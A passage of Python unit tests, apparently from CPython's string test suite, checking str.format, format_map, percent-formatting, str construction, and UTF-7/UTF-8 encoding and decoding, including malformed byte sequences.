self.assertEqual('{0}'.format([]), '[]') self.assertEqual('{0}'.format([1]), '[1]') self.assertEqual('{0:d}'.format(G('data')), 'G(data)') self.assertEqual('{0!s}'.format(G('data')), 'string is data') self.assertRaises(TypeError, '{0:^10}'.format, E('data')) self.assertRaises(TypeError, '{0:^10s}'.format, E('data')) self.assertRaises(TypeError, '{0:>15s}'.format, G('data')) self.assertEqual("{0:date: %Y-%m-%d}".format(I(year=2007, month=8, day=27)), "date: 2007-08-27") # test deriving from a builtin type and overriding __format__ self.assertEqual("{0}".format(J(10)), "20") # string format specifiers self.assertEqual('{0:}'.format('a'), 'a') # computed format specifiers self.assertEqual("{0:.{1}}".format('hello world', 5), 'hello') self.assertEqual("{0:.{1}s}".format('hello world', 5), 'hello') self.assertEqual("{0:.{precision}s}".format('hello world', precision=5), 'hello') self.assertEqual("{0:{width}.{precision}s}".format('hello world', width=10, precision=5), 'hello ') self.assertEqual("{0:{width}.{precision}s}".format('hello world', width='10', precision='5'), 'hello ') # test various errors self.assertRaises(ValueError, '{'.format) self.assertRaises(ValueError, '}'.format) self.assertRaises(ValueError, 'a{'.format) self.assertRaises(ValueError, 'a}'.format) self.assertRaises(ValueError, '{a'.format) self.assertRaises(ValueError, '}a'.format) self.assertRaises(IndexError, '{0}'.format) self.assertRaises(IndexError, '{1}'.format, 'abc') self.assertRaises(KeyError, '{x}'.format) self.assertRaises(ValueError, "}{".format) self.assertRaises(ValueError, "abc{0:{}".format) self.assertRaises(ValueError, "{0".format) self.assertRaises(IndexError, "{0.}".format) self.assertRaises(ValueError, "{0.}".format, 0) self.assertRaises(ValueError, "{0[}".format) self.assertRaises(ValueError, "{0[}".format, []) self.assertRaises(KeyError, "{0]}".format) self.assertRaises(ValueError, "{0.[]}".format, 0) self.assertRaises(ValueError, "{0..foo}".format, 0) self.assertRaises(ValueError, "{0[0}".format, 0) self.assertRaises(ValueError, "{0[0:foo}".format, 0) self.assertRaises(KeyError, "{c]}".format) self.assertRaises(ValueError, "{{ {{{0}}".format, 0) self.assertRaises(ValueError, "{0}}".format, 0) self.assertRaises(KeyError, "{foo}".format, bar=3) self.assertRaises(ValueError, "{0!x}".format, 3) self.assertRaises(ValueError, "{0!}".format, 0) self.assertRaises(ValueError, "{0!rs}".format, 0) self.assertRaises(ValueError, "{!}".format) self.assertRaises(IndexError, "{:}".format) self.assertRaises(IndexError, "{:s}".format) self.assertRaises(IndexError, "{}".format) big = "23098475029384702983476098230754973209482573" self.assertRaises(ValueError, ("{" + big + "}").format) self.assertRaises(ValueError, ("{[" + big + "]}").format, [0]) # issue 6089 self.assertRaises(ValueError, "{0[0]x}".format, [None]) self.assertRaises(ValueError, "{0[0](10)}".format, [None]) # can't have a replacement on the field name portion self.assertRaises(TypeError, '{0[{1}]}'.format, 'abcdefg', 4) # exceed maximum recursion depth self.assertRaises(ValueError, "{0:{1:{2}}}".format, 'abc', 's', '') self.assertRaises(ValueError, "{0:{1:{2:{3:{4:{5:{6}}}}}}}".format, 0, 1, 2, 3, 4, 5, 6, 7) # string format spec errors self.assertRaises(ValueError, "{0:-s}".format, '') self.assertRaises(ValueError, format, "", "-") self.assertRaises(ValueError, "{0:=s}".format, '') # Alternate formatting is not supported self.assertRaises(ValueError, format, '', '#') self.assertRaises(ValueError, format, '', '#20') # Non-ASCII self.assertEqual("{0:s}{1:s}".format("ABC", "\u0410\u0411\u0412"), 'ABC\u0410\u0411\u0412') self.assertEqual("{0:.3s}".format("ABC\u0410\u0411\u0412"), 'ABC') self.assertEqual("{0:.0s}".format("ABC\u0410\u0411\u0412"), '') self.assertEqual("{[{}]}".format({"{}": 5}), "5") self.assertEqual("{[{}]}".format({"{}" : "a"}), "a") self.assertEqual("{[{]}".format({"{" : "a"}), "a") self.assertEqual("{[}]}".format({"}" : "a"}), "a") self.assertEqual("{[[]}".format({"[" : "a"}), "a") self.assertEqual("{[!]}".format({"!" : "a"}), "a") self.assertRaises(ValueError, "{a{}b}".format, 42) self.assertRaises(ValueError, "{a{b}".format, 42) self.assertRaises(ValueError, "{[}".format, 42) self.assertEqual("0x{:0{:d}X}".format(0x0,16), "0x0000000000000000") # Blocking fallback m = M('data') self.assertEqual("{!r}".format(m), 'M(data)') self.assertRaises(TypeError, "{!s}".format, m) self.assertRaises(TypeError, "{}".format, m) n = N('data') self.assertEqual("{!r}".format(n), 'N(data)') self.assertEqual("{!s}".format(n), 'N(data)') self.assertRaises(TypeError, "{}".format, n) def test_format_map(self): self.assertEqual(''.format_map({}), '') self.assertEqual('a'.format_map({}), 'a') self.assertEqual('ab'.format_map({}), 'ab') self.assertEqual('a{{'.format_map({}), 'a{') self.assertEqual('a}}'.format_map({}), 'a}') self.assertEqual('{{b'.format_map({}), '{b') self.assertEqual('}}b'.format_map({}), '}b') self.assertEqual('a{{b'.format_map({}), 'a{b') # using mappings class Mapping(dict): def __missing__(self, key): return key self.assertEqual('{hello}'.format_map(Mapping()), 'hello') self.assertEqual('{a} {world}'.format_map(Mapping(a='hello')), 'hello world') class InternalMapping: def __init__(self): self.mapping = {'a': 'hello'} def __getitem__(self, key): return self.mapping[key] self.assertEqual('{a}'.format_map(InternalMapping()), 'hello') class C: def __init__(self, x=100): self._x = x def __format__(self, spec): return spec self.assertEqual('{foo._x}'.format_map({'foo': C(20)}), '20') # test various errors self.assertRaises(TypeError, ''.format_map) self.assertRaises(TypeError, 'a'.format_map) self.assertRaises(ValueError, '{'.format_map, {}) self.assertRaises(ValueError, '}'.format_map, {}) self.assertRaises(ValueError, 'a{'.format_map, {}) self.assertRaises(ValueError, 'a}'.format_map, {}) self.assertRaises(ValueError, '{a'.format_map, {}) self.assertRaises(ValueError, '}a'.format_map, {}) # issue #12579: can't supply positional params to format_map self.assertRaises(ValueError, '{}'.format_map, {'a' : 2}) self.assertRaises(ValueError, '{}'.format_map, 'a') self.assertRaises(ValueError, '{a} {}'.format_map, {"a" : 2, "b" : 1}) def test_format_huge_precision(self): format_string = ".{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format(2.34, format_string) def test_format_huge_width(self): format_string = "{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format(2.34, format_string) def test_format_huge_item_number(self): format_string = "{{{}:.6f}}".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format_string.format(2.34) def test_format_auto_numbering(self): class C: def __init__(self, x=100): self._x = x def __format__(self, spec): return spec self.assertEqual('{}'.format(10), '10') self.assertEqual('{:5}'.format('s'), 's ') self.assertEqual('{!r}'.format('s'), "'s'") self.assertEqual('{._x}'.format(C(10)), '10') self.assertEqual('{[1]}'.format([1, 2]), '2') self.assertEqual('{[a]}'.format({'a':4, 'b':2}), '4') self.assertEqual('a{}b{}c'.format(0, 1), 'a0b1c') self.assertEqual('a{:{}}b'.format('x', '^10'), 'a x b') self.assertEqual('a{:{}x}b'.format(20, '#'), 'a0x14b') # can't mix and match numbering and auto-numbering self.assertRaises(ValueError, '{}{1}'.format, 1, 2) self.assertRaises(ValueError, '{1}{}'.format, 1, 2) self.assertRaises(ValueError, '{:{1}}'.format, 1, 2) self.assertRaises(ValueError, '{0:{}}'.format, 1, 2) # can mix and match auto-numbering and named self.assertEqual('{f}{}'.format(4, f='test'), 'test4') self.assertEqual('{}{f}'.format(4, f='test'), '4test') self.assertEqual('{:{f}}{g}{}'.format(1, 3, g='g', f=2), ' 1g3') self.assertEqual('{f:{}}{}{g}'.format(2, 4, f=1, g='g'), ' 14g') def test_formatting(self): string_tests.MixinStrUnicodeUserStringTest.test_formatting(self) # Testing Unicode formatting strings... self.assertEqual("%s, %s" % ("abc", "abc"), 'abc, abc') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", 1, 2, 3), 'abc, abc, 1, 2.000000, 3.00') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", 1, -2, 3), 'abc, abc, 1, -2.000000, 3.00') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", -1, -2, 3.5), 'abc, abc, -1, -2.000000, 3.50') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", -1, -2, 3.57), 'abc, abc, -1, -2.000000, 3.57') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", -1, -2, 1003.57), 'abc, abc, -1, -2.000000, 1003.57') if not sys.platform.startswith('java'): self.assertEqual("%r, %r" % (b"abc", "abc"), "b'abc', 'abc'") self.assertEqual("%r" % ("\u1234",), "'\u1234'") self.assertEqual("%a" % ("\u1234",), "'\\u1234'") self.assertEqual("%(x)s, %(y)s" % {'x':"abc", 'y':"def"}, 'abc, def') self.assertEqual("%(x)s, %(\xfc)s" % {'x':"abc", '\xfc':"def"}, 'abc, def') self.assertEqual('%c' % 0x1234, '\u1234') self.assertEqual('%c' % 0x21483, '\U00021483') self.assertRaises(OverflowError, "%c".__mod__, (0x110000,)) self.assertEqual('%c' % '\U00021483', '\U00021483') self.assertRaises(TypeError, "%c".__mod__, "aa") self.assertRaises(ValueError, "%.1\u1032f".__mod__, (1.0/3)) self.assertRaises(TypeError, "%i".__mod__, "aa") # formatting jobs delegated from the string implementation: self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc",'def':123}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc",'def':123}, '...abc...') self.assertEqual('...%s...%s...%s...%s...' % (1,2,3,"abc"), '...1...2...3...abc...') self.assertEqual('...%%...%%s...%s...%s...%s...%s...' % (1,2,3,"abc"), '...%...%s...1...2...3...abc...') self.assertEqual('...%s...' % "abc", '...abc...') self.assertEqual('%*s' % (5,'abc',), ' abc') self.assertEqual('%*s' % (-5,'abc',), 'abc ') self.assertEqual('%*.*s' % (5,2,'abc',), ' ab') self.assertEqual('%*.*s' % (5,3,'abc',), ' abc') self.assertEqual('%i %*.*s' % (10, 5,3,'abc',), '10 abc') self.assertEqual('%i%s %*.*s' % (10, 3, 5, 3, 'abc',), '103 abc') self.assertEqual('%c' % 'a', 'a') class Wrapper: def __str__(self): return '\u1234' self.assertEqual('%s' % Wrapper(), '\u1234') # issue 3382 NAN = float('nan') INF = float('inf') self.assertEqual('%f' % NAN, 'nan') self.assertEqual('%F' % NAN, 'NAN') self.assertEqual('%f' % INF, 'inf') self.assertEqual('%F' % INF, 'INF') # PEP 393 self.assertEqual('%.1s' % "a\xe9\u20ac", 'a') self.assertEqual('%.2s' % "a\xe9\u20ac", 'a\xe9') #issue 19995 class PseudoInt: def __init__(self, value): self.value = int(value) def __int__(self): return self.value def __index__(self): return self.value class PseudoFloat: def __init__(self, value): self.value = float(value) def __int__(self): return int(self.value) pi = PseudoFloat(3.1415) letter_m = PseudoInt(109) self.assertEqual('%x' % 42, '2a') self.assertEqual('%X' % 15, 'F') self.assertEqual('%o' % 9, '11') self.assertEqual('%c' % 109, 'm') self.assertEqual('%x' % letter_m, '6d') self.assertEqual('%X' % letter_m, '6D') self.assertEqual('%o' % letter_m, '155') self.assertEqual('%c' % letter_m, 'm') self.assertRaisesRegex(TypeError, '%x format: an integer is required, not float', operator.mod, '%x', 3.14), self.assertRaisesRegex(TypeError, '%X format: an integer is required, not float', operator.mod, '%X', 2.11), self.assertRaisesRegex(TypeError, '%o format: an integer is required, not float', operator.mod, '%o', 1.79), self.assertRaisesRegex(TypeError, '%x format: an integer is required, not PseudoFloat', operator.mod, '%x', pi), self.assertRaises(TypeError, operator.mod, '%c', pi), def test_formatting_with_enum(self): # issue18780 import enum class Float(float, enum.Enum): PI = 3.1415926 class Int(enum.IntEnum): IDES = 15 class Str(str, enum.Enum): ABC = 'abc' # Testing Unicode formatting strings... self.assertEqual("%s, %s" % (Str.ABC, Str.ABC), 'Str.ABC, Str.ABC') self.assertEqual("%s, %s, %d, %i, %u, %f, %5.2f" % (Str.ABC, Str.ABC, Int.IDES, Int.IDES, Int.IDES, Float.PI, Float.PI), 'Str.ABC, Str.ABC, 15, 15, 15, 3.141593, 3.14') # formatting jobs delegated from the string implementation: self.assertEqual('...%(foo)s...' % {'foo':Str.ABC}, '...Str.ABC...') self.assertEqual('...%(foo)s...' % {'foo':Int.IDES}, '...Int.IDES...') self.assertEqual('...%(foo)i...' % {'foo':Int.IDES}, '...15...') self.assertEqual('...%(foo)d...' % {'foo':Int.IDES}, '...15...') self.assertEqual('...%(foo)u...' % {'foo':Int.IDES, 'def':Float.PI}, '...15...') self.assertEqual('...%(foo)f...' % {'foo':Float.PI,'def':123}, '...3.141593...') def test_formatting_huge_precision(self): format_string = "%.{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format_string % 2.34 def test_issue28598_strsubclass_rhs(self): # A subclass of str with an __rmod__ method should be able to hook # into the % operator class SubclassedStr(str): def __rmod__(self, other): return 'Success, self.__rmod__({!r}) was called'.format(other) self.assertEqual('lhs %% %r' % SubclassedStr('rhs'), "Success, self.__rmod__('lhs %% %r') was called") @support.cpython_only def test_formatting_huge_precision_c_limits(self): from _testcapi import INT_MAX format_string = "%.{}f".format(INT_MAX + 1) with self.assertRaises(ValueError): result = format_string % 2.34 def test_formatting_huge_width(self): format_string = "%{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format_string % 2.34 def test_startswith_endswith_errors(self): for meth in ('foo'.startswith, 'foo'.endswith): with self.assertRaises(TypeError) as cm: meth(['f']) exc = str(cm.exception) self.assertIn('str', exc) self.assertIn('tuple', exc) @support.run_with_locale('LC_ALL', 'de_DE', 'fr_FR') def test_format_float(self): # should not format with a comma, but always with C locale self.assertEqual('1.0', '%.1f' % 1.0) def test_constructor(self): # unicode(obj) tests (this maps to PyObject_Unicode() at C level) self.assertEqual( str('unicode remains unicode'), 'unicode remains unicode' ) for text in ('ascii', '\xe9', '\u20ac', '\U0010FFFF'): subclass = StrSubclass(text) self.assertEqual(str(subclass), text) self.assertEqual(len(subclass), len(text)) if text == 'ascii': self.assertEqual(subclass.encode('ascii'), b'ascii') self.assertEqual(subclass.encode('utf-8'), b'ascii') self.assertEqual( str('strings are converted to unicode'), 'strings are converted to unicode' ) class StringCompat: def __init__(self, x): self.x = x def __str__(self): return self.x self.assertEqual( str(StringCompat('__str__ compatible objects are recognized')), '__str__ compatible objects are recognized' ) # unicode(obj) is compatible to str(): o = StringCompat('unicode(obj) is compatible to str()') self.assertEqual(str(o), 'unicode(obj) is compatible to str()') self.assertEqual(str(o), 'unicode(obj) is compatible to str()') for obj in (123, 123.45, 123): self.assertEqual(str(obj), str(str(obj))) # unicode(obj, encoding, error) tests (this maps to # PyUnicode_FromEncodedObject() at C level) if not sys.platform.startswith('java'): self.assertRaises( TypeError, str, 'decoding unicode is not supported', 'utf-8', 'strict' ) self.assertEqual( str(b'strings are decoded to unicode', 'utf-8', 'strict'), 'strings are decoded to unicode' ) if not sys.platform.startswith('java'): self.assertEqual( str( memoryview(b'character buffers are decoded to unicode'), 'utf-8', 'strict' ), 'character buffers are decoded to unicode' ) self.assertRaises(TypeError, str, 42, 42, 42) def test_constructor_keyword_args(self): """Pass various keyword argument combinations to the constructor.""" # The object argument can be passed as a keyword. self.assertEqual(str(object='foo'), 'foo') self.assertEqual(str(object=b'foo', encoding='utf-8'), 'foo') # The errors argument without encoding triggers "decode" mode. self.assertEqual(str(b'foo', errors='strict'), 'foo') # not "b'foo'" self.assertEqual(str(object=b'foo', errors='strict'), 'foo') def test_constructor_defaults(self): """Check the constructor argument defaults.""" # The object argument defaults to '' or b''. self.assertEqual(str(), '') self.assertEqual(str(errors='strict'), '') utf8_cent = '¢'.encode('utf-8') # The encoding argument defaults to utf-8. self.assertEqual(str(utf8_cent, errors='strict'), '¢') # The errors argument defaults to strict. self.assertRaises(UnicodeDecodeError, str, utf8_cent, encoding='ascii') def test_codecs_utf7(self): utfTests = [ ('A\u2262\u0391.', b'A+ImIDkQ.'), # RFC2152 example ('Hi Mom -\u263a-!', b'Hi Mom -+Jjo--!'), # RFC2152 example ('\u65E5\u672C\u8A9E', b'+ZeVnLIqe-'), # RFC2152 example ('Item 3 is \u00a31.', b'Item 3 is +AKM-1.'), # RFC2152 example ('+', b'+-'), ('+-', b'+--'), ('+?', b'+-?'), (r'\?', b'+AFw?'), ('+?', b'+-?'), (r'\\?', b'+AFwAXA?'), (r'\\\?', b'+AFwAXABc?'), (r'++--', b'+-+---'), ('\U000abcde', b'+2m/c3g-'), # surrogate pairs ('/', b'/'), ] for (x, y) in utfTests: self.assertEqual(x.encode('utf-7'), y) # Unpaired surrogates are passed through self.assertEqual('\uD801'.encode('utf-7'), b'+2AE-') self.assertEqual('\uD801x'.encode('utf-7'), b'+2AE-x') self.assertEqual('\uDC01'.encode('utf-7'), b'+3AE-') self.assertEqual('\uDC01x'.encode('utf-7'), b'+3AE-x') self.assertEqual(b'+2AE-'.decode('utf-7'), '\uD801') self.assertEqual(b'+2AE-x'.decode('utf-7'), '\uD801x') self.assertEqual(b'+3AE-'.decode('utf-7'), '\uDC01') self.assertEqual(b'+3AE-x'.decode('utf-7'), '\uDC01x') self.assertEqual('\uD801\U000abcde'.encode('utf-7'), b'+2AHab9ze-') self.assertEqual(b'+2AHab9ze-'.decode('utf-7'), '\uD801\U000abcde') # Issue #2242: crash on some Windows/MSVC versions self.assertEqual(b'+\xc1'.decode('utf-7', 'ignore'), '') # Direct encoded characters set_d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'(),-./:?" # Optional direct characters set_o = '!"#$%&*;<=>@[]^_`{|}' for c in set_d: self.assertEqual(c.encode('utf7'), c.encode('ascii')) self.assertEqual(c.encode('ascii').decode('utf7'), c) for c in set_o: self.assertEqual(c.encode('ascii').decode('utf7'), c) def test_codecs_utf8(self): self.assertEqual(''.encode('utf-8'), b'') self.assertEqual('\u20ac'.encode('utf-8'), b'\xe2\x82\xac') self.assertEqual('\U00010002'.encode('utf-8'), b'\xf0\x90\x80\x82') self.assertEqual('\U00023456'.encode('utf-8'), b'\xf0\xa3\x91\x96') self.assertEqual('\ud800'.encode('utf-8', 'surrogatepass'), b'\xed\xa0\x80') self.assertEqual('\udc00'.encode('utf-8', 'surrogatepass'), b'\xed\xb0\x80') self.assertEqual(('\U00010002'*10).encode('utf-8'), b'\xf0\x90\x80\x82'*10) self.assertEqual( '\u6b63\u78ba\u306b\u8a00\u3046\u3068\u7ffb\u8a33\u306f' '\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u4e00' '\u90e8\u306f\u30c9\u30a4\u30c4\u8a9e\u3067\u3059\u304c' '\u3001\u3042\u3068\u306f\u3067\u305f\u3089\u3081\u3067' '\u3059\u3002\u5b9f\u969b\u306b\u306f\u300cWenn ist das' ' Nunstuck git und'.encode('utf-8'), b'\xe6\xad\xa3\xe7\xa2\xba\xe3\x81\xab\xe8\xa8\x80\xe3\x81' b'\x86\xe3\x81\xa8\xe7\xbf\xbb\xe8\xa8\xb3\xe3\x81\xaf\xe3' b'\x81\x95\xe3\x82\x8c\xe3\x81\xa6\xe3\x81\x84\xe3\x81\xbe' b'\xe3\x81\x9b\xe3\x82\x93\xe3\x80\x82\xe4\xb8\x80\xe9\x83' b'\xa8\xe3\x81\xaf\xe3\x83\x89\xe3\x82\xa4\xe3\x83\x84\xe8' b'\xaa\x9e\xe3\x81\xa7\xe3\x81\x99\xe3\x81\x8c\xe3\x80\x81' b'\xe3\x81\x82\xe3\x81\xa8\xe3\x81\xaf\xe3\x81\xa7\xe3\x81' b'\x9f\xe3\x82\x89\xe3\x82\x81\xe3\x81\xa7\xe3\x81\x99\xe3' b'\x80\x82\xe5\xae\x9f\xe9\x9a\x9b\xe3\x81\xab\xe3\x81\xaf' b'\xe3\x80\x8cWenn ist das Nunstuck git und' ) # UTF-8 specific decoding tests self.assertEqual(str(b'\xf0\xa3\x91\x96', 'utf-8'), '\U00023456' ) self.assertEqual(str(b'\xf0\x90\x80\x82', 'utf-8'), '\U00010002' ) self.assertEqual(str(b'\xe2\x82\xac', 'utf-8'), '\u20ac' ) # Other possible utf-8 test cases: # * strict decoding testing for all of the # UTF8_ERROR cases in PyUnicode_DecodeUTF8 def test_utf8_decode_valid_sequences(self): sequences = [ # single byte (b'\x00', '\x00'), (b'a', 'a'), (b'\x7f', '\x7f'), # 2 bytes (b'\xc2\x80', '\x80'), (b'\xdf\xbf', '\u07ff'), # 3 bytes (b'\xe0\xa0\x80', '\u0800'), (b'\xed\x9f\xbf', '\ud7ff'), (b'\xee\x80\x80', '\uE000'), (b'\xef\xbf\xbf', '\uffff'), # 4 bytes (b'\xF0\x90\x80\x80', '\U00010000'), (b'\xf4\x8f\xbf\xbf', '\U0010FFFF') ] for seq, res in sequences: self.assertEqual(seq.decode('utf-8'), res) def test_utf8_decode_invalid_sequences(self): # continuation bytes in a sequence of 2, 3, or 4 bytes continuation_bytes = [bytes([x]) for x in range(0x80, 0xC0)] # start bytes of a 2-byte sequence equivalent to code points < 0x7F invalid_2B_seq_start_bytes = [bytes([x]) for x in range(0xC0, 0xC2)] # start bytes of a 4-byte sequence equivalent to code points > 0x10FFFF invalid_4B_seq_start_bytes = [bytes([x]) for x in range(0xF5, 0xF8)] invalid_start_bytes = ( continuation_bytes + invalid_2B_seq_start_bytes + invalid_4B_seq_start_bytes + [bytes([x]) for x in range(0xF7, 0x100)] ) for byte in invalid_start_bytes: self.assertRaises(UnicodeDecodeError, byte.decode, 'utf-8') for sb in invalid_2B_seq_start_bytes: for cb in continuation_bytes: self.assertRaises(UnicodeDecodeError, (sb+cb).decode, 'utf-8') for sb in invalid_4B_seq_start_bytes: for cb1 in continuation_bytes[:3]: for cb3 in continuation_bytes[:3]: self.assertRaises(UnicodeDecodeError, (sb+cb1+b'\x80'+cb3).decode, 'utf-8') for cb in [bytes([x]) for x in range(0x80, 0xA0)]: self.assertRaises(UnicodeDecodeError, (b'\xE0'+cb+b'\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xE0'+cb+b'\xBF').decode, 'utf-8') # surrogates for cb in [bytes([x]) for x in range(0xA0, 0xC0)]: self.assertRaises(UnicodeDecodeError, (b'\xED'+cb+b'\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xED'+cb+b'\xBF').decode, 'utf-8') for cb in [bytes([x]) for x in range(0x80, 0x90)]: self.assertRaises(UnicodeDecodeError, (b'\xF0'+cb+b'\x80\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xF0'+cb+b'\xBF\xBF').decode, 'utf-8') for cb in [bytes([x]) for x in range(0x90, 0xC0)]: self.assertRaises(UnicodeDecodeError, (b'\xF4'+cb+b'\x80\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xF4'+cb+b'\xBF\xBF').decode, 'utf-8') def test_issue8271(self): # Issue #8271: during the decoding of an invalid UTF-8 byte sequence, # only the start byte and the continuation byte(s) are now considered # invalid, instead of the number of bytes specified by the start byte. # See http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf (page 95, # table 3-8, Row 2) for more information about the algorithm used. FFFD = '\ufffd' sequences = [ # invalid start bytes (b'\x80', FFFD), # continuation byte (b'\x80\x80', FFFD*2), # 2 continuation bytes (b'\xc0', FFFD), (b'\xc0\xc0', FFFD*2), (b'\xc1', FFFD), (b'\xc1\xc0', FFFD*2), (b'\xc0\xc1', FFFD*2), # with start byte of a 2-byte sequence (b'\xc2', FFFD), # only the start byte (b'\xc2\xc2', FFFD*2), # 2 start bytes (b'\xc2\xc2\xc2', FFFD*3), # 3 start bytes (b'\xc2\x41', FFFD+'A'), # invalid continuation byte # with start byte of a 3-byte sequence (b'\xe1', FFFD), # only the start byte (b'\xe1\xe1', FFFD*2), # 2 start bytes (b'\xe1\xe1\xe1', FFFD*3), # 3 start bytes (b'\xe1\xe1\xe1\xe1', FFFD*4), # 4 start bytes (b'\xe1\x80', FFFD), # only 1 continuation byte (b'\xe1\x41', FFFD+'A'), # invalid continuation byte (b'\xe1\x41\x80', FFFD+'A'+FFFD), # invalid cb followed by valid cb (b'\xe1\x41\x41', FFFD+'AA'), # 2 invalid continuation bytes (b'\xe1\x80\x41', FFFD+'A'), # only 1 valid continuation byte (b'\xe1\x80\xe1\x41', FFFD*2+'A'), # 1 valid and the other invalid (b'\xe1\x41\xe1\x80', FFFD+'A'+FFFD), # 1 invalid and the other valid # with start byte of a 4-byte sequence (b'\xf1', FFFD), # only the start byte (b'\xf1\xf1', FFFD*2), # 2 start bytes (b'\xf1\xf1\xf1', FFFD*3), # 3 start bytes (b'\xf1\xf1\xf1\xf1', FFFD*4), # 4 start bytes (b'\xf1\xf1\xf1\xf1\xf1', FFFD*5), # 5 start bytes (b'\xf1\x80', FFFD), # only 1 continuation bytes (b'\xf1\x80\x80', FFFD), # only 2 continuation bytes (b'\xf1\x80\x41', FFFD+'A'), # 1 valid cb and 1 invalid (b'\xf1\x80\x41\x41', FFFD+'AA'), # 1 valid cb and 1 invalid (b'\xf1\x80\x80\x41', FFFD+'A'), # 2 valid cb and 1 invalid (b'\xf1\x41\x80', FFFD+'A'+FFFD), # 1 invalid cv and 1 valid (b'\xf1\x41\x80\x80', FFFD+'A'+FFFD*2), # 1 invalid cb and 2 invalid (b'\xf1\x41\x80\x41', FFFD+'A'+FFFD+'A'), # 2 invalid cb and 1 invalid (b'\xf1\x41\x41\x80', FFFD+'AA'+FFFD), # 1 valid cb and 1 invalid (b'\xf1\x41\xf1\x80', FFFD+'A'+FFFD), (b'\xf1\x41\x80\xf1', FFFD+'A'+FFFD*2), (b'\xf1\xf1\x80\x41', FFFD*2+'A'), (b'\xf1\x41\xf1\xf1', FFFD+'A'+FFFD*2), # with invalid start byte of a 4-byte sequence (rfc2279) (b'\xf5', FFFD), # only the start byte (b'\xf5\xf5', FFFD*2), # 2 start bytes (b'\xf5\x80', FFFD*2), # only 1 continuation byte (b'\xf5\x80\x80', FFFD*3), # only 2 continuation byte (b'\xf5\x80\x80\x80', FFFD*4), # 3 continuation bytes (b'\xf5\x80\x41', FFFD*2+'A'), # 1 valid cb and 1 invalid (b'\xf5\x80\x41\xf5', FFFD*2+'A'+FFFD), (b'\xf5\x41\x80\x80\x41', FFFD+'A'+FFFD*2+'A'), # with invalid start byte of a 5-byte sequence (rfc2279) (b'\xf8', FFFD), # only the start byte (b'\xf8\xf8', FFFD*2), # 2 start bytes (b'\xf8\x80', FFFD*2), # only one continuation byte (b'\xf8\x80\x41', FFFD*2 + 'A'), # 1 valid cb and 1 invalid (b'\xf8\x80\x80\x80\x80', FFFD*5), # invalid 5 bytes seq with 5 bytes # with invalid start byte of a 6-byte sequence (rfc2279) (b'\xfc', FFFD), # only the start byte (b'\xfc\xfc', FFFD*2), # 2 start bytes (b'\xfc\x80\x80', FFFD*3), # only 2 continuation bytes (b'\xfc\x80\x80\x80\x80\x80', FFFD*6), # 6 continuation bytes # invalid start byte (b'\xfe', FFFD), (b'\xfe\x80\x80', FFFD*3), # other sequences (b'\xf1\x80\x41\x42\x43', '\ufffd\x41\x42\x43'), (b'\xf1\x80\xff\x42\x43', '\ufffd\ufffd\x42\x43'), (b'\xf1\x80\xc2\x81\x43', '\ufffd\x81\x43'), (b'\x61\xF1\x80\x80\xE1\x80\xC2\x62\x80\x63\x80\xBF\x64', '\x61\uFFFD\uFFFD\uFFFD\x62\uFFFD\x63\uFFFD\uFFFD\x64'), ] for n, (seq, res) in enumerate(sequences): self.assertRaises(UnicodeDecodeError, seq.decode, 'utf-8', 'strict') self.assertEqual(seq.decode('utf-8', 'replace'), res) self.assertEqual((seq+b'b').decode('utf-8', 'replace'), res+'b') self.assertEqual(seq.decode('utf-8', 'ignore'), res.replace('\uFFFD', '')) def assertCorrectUTF8Decoding(self, seq, res, err): """ Check that an invalid UTF-8 sequence raises a UnicodeDecodeError when 'strict' is used, returns res when 'replace' is used, and that doesn't return anything when 'ignore' is used. """ with self.assertRaises(UnicodeDecodeError) as cm: seq.decode('utf-8') exc = cm.exception self.assertIn(err, str(exc)) self.assertEqual(seq.decode('utf-8', 'replace'), res) self.assertEqual((b'aaaa' + seq + b'bbbb').decode('utf-8', 'replace'), 'aaaa' + res + 'bbbb') res = res.replace('\ufffd', '') self.assertEqual(seq.decode('utf-8', 'ignore'), res) self.assertEqual((b'aaaa' + seq + b'bbbb').decode('utf-8', 'ignore'), 'aaaa' + res + 'bbbb') def test_invalid_start_byte(self): """ Test that an 'invalid start byte' error is raised when the first byte is not in the ASCII range or is not a valid start byte of a 2-, 3-, or 4-bytes sequence. The invalid start byte is replaced with a single U+FFFD when errors='replace'. E.g. <80> is a continuation byte and can appear only after a start byte. """ FFFD = '\ufffd' for byte in b'\x80\xA0\x9F\xBF\xC0\xC1\xF5\xFF': self.assertCorrectUTF8Decoding(bytes([byte]), '\ufffd', 'invalid start byte') def test_unexpected_end_of_data(self): """ Test that an 'unexpected end of data' error is raised when the string ends after a start byte of a 2-, 3-, or 4-bytes sequence without having enough continuation bytes. The incomplete sequence is replaced with a single U+FFFD when errors='replace'. E.g. in the sequence <F3 80 80>, F3 is the start byte of a 4-bytes sequence, but it's followed by only 2 valid continuation bytes and the last continuation bytes is missing. Note: the continuation bytes must be all valid, if one of them is invalid another error will be raised. """ sequences = [ 'C2', 'DF', 'E0 A0', 'E0 BF', 'E1 80', 'E1 BF', 'EC 80', 'EC BF', 'ED 80', 'ED 9F', 'EE 80', 'EE BF', 'EF 80', 'EF BF', 'F0 90', 'F0 BF', 'F0 90 80', 'F0 90 BF', 'F0 BF 80', 